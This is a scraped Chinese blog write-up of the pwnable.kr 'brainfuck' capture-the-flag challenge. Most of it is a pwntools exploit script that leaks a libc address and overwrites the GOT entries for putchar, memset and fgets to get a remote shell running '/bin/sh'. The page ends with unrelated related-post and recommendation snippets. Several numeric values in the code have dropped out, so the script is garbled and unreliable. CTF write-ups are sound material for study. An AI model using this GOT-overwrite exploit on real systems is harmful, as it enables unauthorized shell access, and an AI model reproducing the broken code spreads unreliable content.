pwnable.kr brainfuck之write up
I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell. Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so Running at : nc pwnable.kr
补充一下知识,什么是brainfuck呢?
Brainfuck是一种极小化的计算机语言,它是由Urban Müller在1993年创建的。由于fuck在英语中是脏话,这种语言有时被称为brainf*ck或brainf**k,甚至被简称为BF。
接下来我们来看程序,首先看main函数:
点进去看一下brainfuck函数:
大致可分析得到程序的思路是:
fget输入,根据输入的内容对应相应的字符并执行。
补充:深入理解计算机中的bss,text,堆,栈 http://www.cnblogs.com/yanghong-hnu/p/4705755.html
题的思路主要利用的是p指针,如图,也是主函数中的tape变量,这个指针位于bss段,而不是栈中
bss段上面是got.plt段,离bss比较近,所以思路肯定就是改got表了。
下面我们分析解题思路 :
首先让p指针指到got表,用getchar进行修改,并用system得到shell,而system在Libc中,并且是地址随机化的。
所以只能从用户输入入手:
将menset覆写为gets,从stdin中读入
"/bin/sh\0"
将fgets覆写为system,执行
system("/bin/sh\0")
获取shell
这步骤是第二次运行main函数的,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。
整体思路:
泄露putchar函数真实地址
根据题目给的libc计算其他函数真实地址
覆写GOT表中putchar函数为main函数地址
覆写GOT表中fgets函数为system函数地址
覆写GOT表中memset函数为gets函数地址
返回main函数,getshell
所以exp如下:别人的exp我做些分析
from pwn import *
context(os='linux', arch='i386', log_level='debug') DEBUG =
if DEBUG:
p = process('./bf')
libc = ELF('/usr/lib32/libc.so.6')
else:
p = remote('pwnable.kr', )
libc = ELF('./bf_libc.so') def main():
#pwnlib.gdb.attach(p)
p.recvuntil(']') put_char_offset = 0x8048a0a0 - 0x8048a030 tape到got表的相对地址
payload = '.' 输出指针指向的位置
payload += '<' * put_char_offset 指针put_char_offset减1
payload += '.>' * 4 输出指针位置加4的位置
payload += '<,' * # write put_char 输入内容到putchar的位置
payload += '<' * 4 指向memset的位置
payload += ',>' * # write memset 输入内容到memset位置后返回到Putchar
payload += '<' * (0x2c - 0x10 + ) 指针指向fget的位置
payload += ',>' * # write fgets 向fget输入后指针位置+4
payload += '.' * (0x400 - len(payload) - )
p.send(payload)
p.recv()
if DEBUG:
leak = p.recv()[:]
else:
p.recv()
leak = p.recv() log.info('get:' + str(len(leak)))
log.info('leak:' + hex(u32(leak))) putchar_pos = u32(leak)
libc_base = putchar_pos - libc.symbols['putchar']
system_addr = libc_base + libc.symbols['system']
gets_addr = libc_base + libc.symbols['gets']
main_addr = 0x08048671 log.info("libc base at:" + hex(libc_base)) packed_gadget_pos = p32(0x08048671) # write put char
for x in (packed_gadget_pos[::-]):
p.send(x) # write memset
for x in p32(gets_addr):
p.send(x)
#write fgets
for x in p32(system_addr):
p.send(x) p.recvuntil(']')
payload = '/bin/sh\x00'
p.send(payload) p.interactive() if __name__ == '__main__':
main()
pwnable.kr brainfuck之write up的更多相关文章
- 【pwnable.kr】 brainfuck
pwnable.kr第二关第一题: ========================================= Download : http://pwnable.kr/bin/bfDownl ...
- pwnable.kr之brainf*ck
pwnable.kr之brainf*ck 今天又是被难倒的一天Orz,个人感觉pwnable.kr上的题都比较剑走偏锋,仔细做过去,一定会有很大的收获. 不多说了,今天看的是第二关的第一道题:brai ...
- pwnable.kr的passcode
前段时间找到一个练习pwn的网站,pwnable.kr 这里记录其中的passcode的做题过程,给自己加深印象. 废话不多说了,看一下题目, 看到题目,就ssh连接进去,就看到三个文件如下 看了一下 ...
- pwnable.kr bof之write up
这一题与前两题不同,用到了静态调试工具ida 首先题中给出了源码: #include <stdio.h> #include <string.h> #include <st ...
- pwnable.kr col之write up
Daddy told me about cool MD5 hash collision today. I wanna do something like that too! ssh col@pwnab ...
- pwnable.kr login之write up
main函数如下: auth函数如下: 程序的流程如下: 输入Authenticate值,并base64解码,将解码的值代入md5_auth函数中 mad5_auth()生成其MD5值并与f87cd6 ...
- pwnable.kr详细通关秘籍(二)
i春秋作家:W1ngs 原文来自:pwnable.kr详细通关秘籍(二) 0x00 input 首先看一下代码: 可以看到程序总共有五步,全部都满足了才可以得到flag,那我们就一步一步来看 这道题考 ...
- pwnable.kr simple login writeup
这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程 主要逻辑是输入一个字符串,base64解码后看是否与题目 ...
- pwnable.kr第二天
3.bof 这题就是简单的数组越界覆盖,直接用gdb 调试出偏移就ok from pwn import * context.log_level='debug' payload='A'*52+p32(0 ...
随机推荐
- 2,返回Json
一,使用Spring Boot默认Json解析框架jackson 1,创建一个实体类Persion package com.zh.json; public class Persion { privat ...
- Week 1 # A A + B Problem II
原题描述: A - A + B Problem II I have a very simple problem for you. Given two integers A and B, your jo ...
- PHP超全局变量$_SERVER
$_SERVER 是一个包含了诸如头信息(header).路径(path).以及脚本位置(script locations)等等信息的数组.这个数组中的项目由 Web 服务器创建.不能保证每个服务器都 ...
- linux函数的阻塞与非阻塞IO及错误处理
1.阻塞是指进程等待某一个事件的发生而处于等待状态不往下执行,如果等待的事件发生了则会继续执行该进程.调用系统阻塞函数可能会导致进程阻塞进入睡眠状态. 2.阻塞IO之read读取键盘输入数据 3.li ...
- 解决ionic中 Action Sheets 在安卓机中的样式
/** * Action Sheets for Android * -------------------------------------------------- */ .platform-an ...
- 坏块管理(Bad Block Management,BBM)
看了很多坏块管理的文章,加上自己的理解,把整个坏块管理做了个总结. 坏块分类 1.出厂坏块 又叫初始坏块,厂商会给点最小有效块值(NVB,mininum number of valid blocks) ...
- [COGS 1752] 摩基亚Mokia
照例先上题面 1752. [BOI2007]摩基亚Mokia 输入文件:mokia.in 输出文件:mokia.out 时间限制:1.5 s 内存限制:128 MB [题目描述] 摩尔瓦多的移 ...
- git中使用命令将远程仓库拉取项目在本地文件夹
在有些时候,我们往往从github或者gitlab或者coding上面直接下载项目下来运行,但是这种情况往往没有使用git远程拉取来的安全(或者叫装逼), 所以这里我以gitLab为例子,说一下如何将 ...
- Redis-消息发布与订阅
redis的消息发布与订阅适合做在线聊天, 消息推送 使用方法: 发布端: publish +频道名称 + 发布内容 订阅端: subscribe + 频道名称 发布端例子: 127.0.0.1:63 ...
- Base:一种 Acid 的替代方案
原文链接: BASE: An Acid Alternative 数据库 ACID,都不陌生:原子性.一致性.隔离性和持久性,这在单台服务器就能搞定的时代,很容易实现,但是到了现在,面对如此庞大的访问量 ...